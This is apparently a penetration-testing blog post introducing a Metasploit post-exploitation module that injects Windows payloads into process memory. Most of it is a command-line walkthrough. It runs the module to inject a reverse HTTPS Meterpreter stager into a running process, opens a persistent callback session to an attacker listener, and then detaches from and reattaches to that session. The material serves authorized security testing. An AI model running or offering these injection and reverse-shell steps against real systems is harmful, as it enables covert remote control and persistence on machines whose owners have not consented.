Injecting Payloads Into Memory Meterpreter

Recently at Derbycon 2010 I had a chance to see Egyp7 (James Lee) from the metasploit project do some demos for students of his Metasploit class and I saw he was using the multimeterinject script I wrote to create a secondary shell in case the main one died. I also saw that on 64bit systems it was a pain because it just failed silently, did not gave any warning. On my flight back from the conference I thought that injecting not only a Meterpreter payload could be quite useful, specially when one wishes to have a GUI access on the box but enabling RDP would be to risky one could inject a VNC payload, so I wrote a post module called payload_inject. The module has the capability of:

  • Injecting a Windows Payload in to 32bit and 64bit Processes.
  • Check that both the payload and the process are of the same architecture.
  • Start a temporary process with the appropriate architecture.
  • Be able to provide a flexible option list since different payloads have different options.

So payload_inject was born in a flight from Kentucky to Puerto Rico.

Lets start by looking at the module and it's options from inside a Meterpreter session:

msf  post(persistence) > sessions -i 2
[*] Starting interaction with 2...

meterpreter > info post/windows/manage/payload_inject 

       Name: Windows Manage Memory Payload Injection Module
     Module: post/windows/manage/payload_inject
    Version: 14039
   Platform: Windows
       Arch: 
       Rank: Normal

Provided by:
  Carlos Perez <carlos_perez@darkoperator.com>

Description:
  This module will inject into the memory of a process a specified 
  windows payload. If a payload or process is not provided one will be 
  created by default using a reverse x86 TCP Meterpreter Payload.




Module options (post/windows/manage/payload_inject):

   Name     Current Setting                  Required  Description
   ----     ---------------                  --------  -----------
   HANDLER  false                            no        Start an Exploit Multi Handler to receive the connection
   LHOST                                     yes       IP of host that will receive the connection from the payload.
   LPORT    4433                             no        Port for Payload to connect to.
   OPTIONS                                   no        Comma separated list of additional options for payload if needed in 'opt=val,opt=val' format.
   PAYLOAD  windows/meterpreter/reverse_tcp  no        Windows Payload to inject into memory of a process.
   PID                                       no        Process Identifier to inject of process to inject payload.   
   SESSION                                   yes       The session to run this module on.

Now that we see that are the options available lets load a reverse HTTPS session in a persistent way in memory as our secondary shell:

meterpreter > run post/windows/manage/payload_inject PAYLOAD=windows/meterpreter/reverse_https,LHOST=192.168.1.100,LPORT=3334,HANDLER=true,OPTIONS='SessionCommunicationTimeout=0,SessionExpirationTimeout=0,PID=3384'

[*] Running module against WIN701
[*] Starting exploit multi handler
[*] Performing Architecture Check
[*] Started HTTPS reverse handler on https://192.168.1.100:3334/
[*] Starting the payload handler...
[*] Process found checking Architecture
[+] Process is the same architecture as the payload
[*] Injecting Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager into process ID 3384
[*] Opening process 3384
[*] Generating payload
[*] Allocating memory in process 3384
[*] Allocated memory at address 0x006e0000, for 369 byte stager
[*] Writing the stager into memory...
[+] Successfully injected payload in to process: 3384
meterpreter > 
[*] 192.168.1.138:37854 Request received for /INITM...
[*] 192.168.1.138:37854 Staging connection for target /INITM received...
[*] Patched transport at offset 486516...
[*] Patched URL at offset 486248...
[*] Patched Expiration Timeout at offset 641856...
[*] Patched Communication Timeout at offset 641860...
[*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:37854) at 2011-10-28 17:47:46 -0400

One of the things I like about the HTTPS sessions is that I can detach from one and reconnect later to it by just bringing up a listener:

meterpreter > background 
msf  post(persistence) > sessions -i 7
[*] Starting interaction with 7...

meterpreter > detach 

[*] Meterpreter session 7 closed.  Reason: User exit
msf  post(persistence) > 
[*] 192.168.1.138:48859 Request received for /CONN_bPXZiVo1IOWy8xFv/...
[*] Incoming orphaned session CONN_bPXZiVo1IOWy8xFv, reattaching...
[*] Meterpreter session 7 opened (192.168.1.100:3334 -> 192.168.1.138:48859) at 2011-10-28 17:55:12 -0400

We can do the same with any Windows compatible payload. I hope you find the module useful.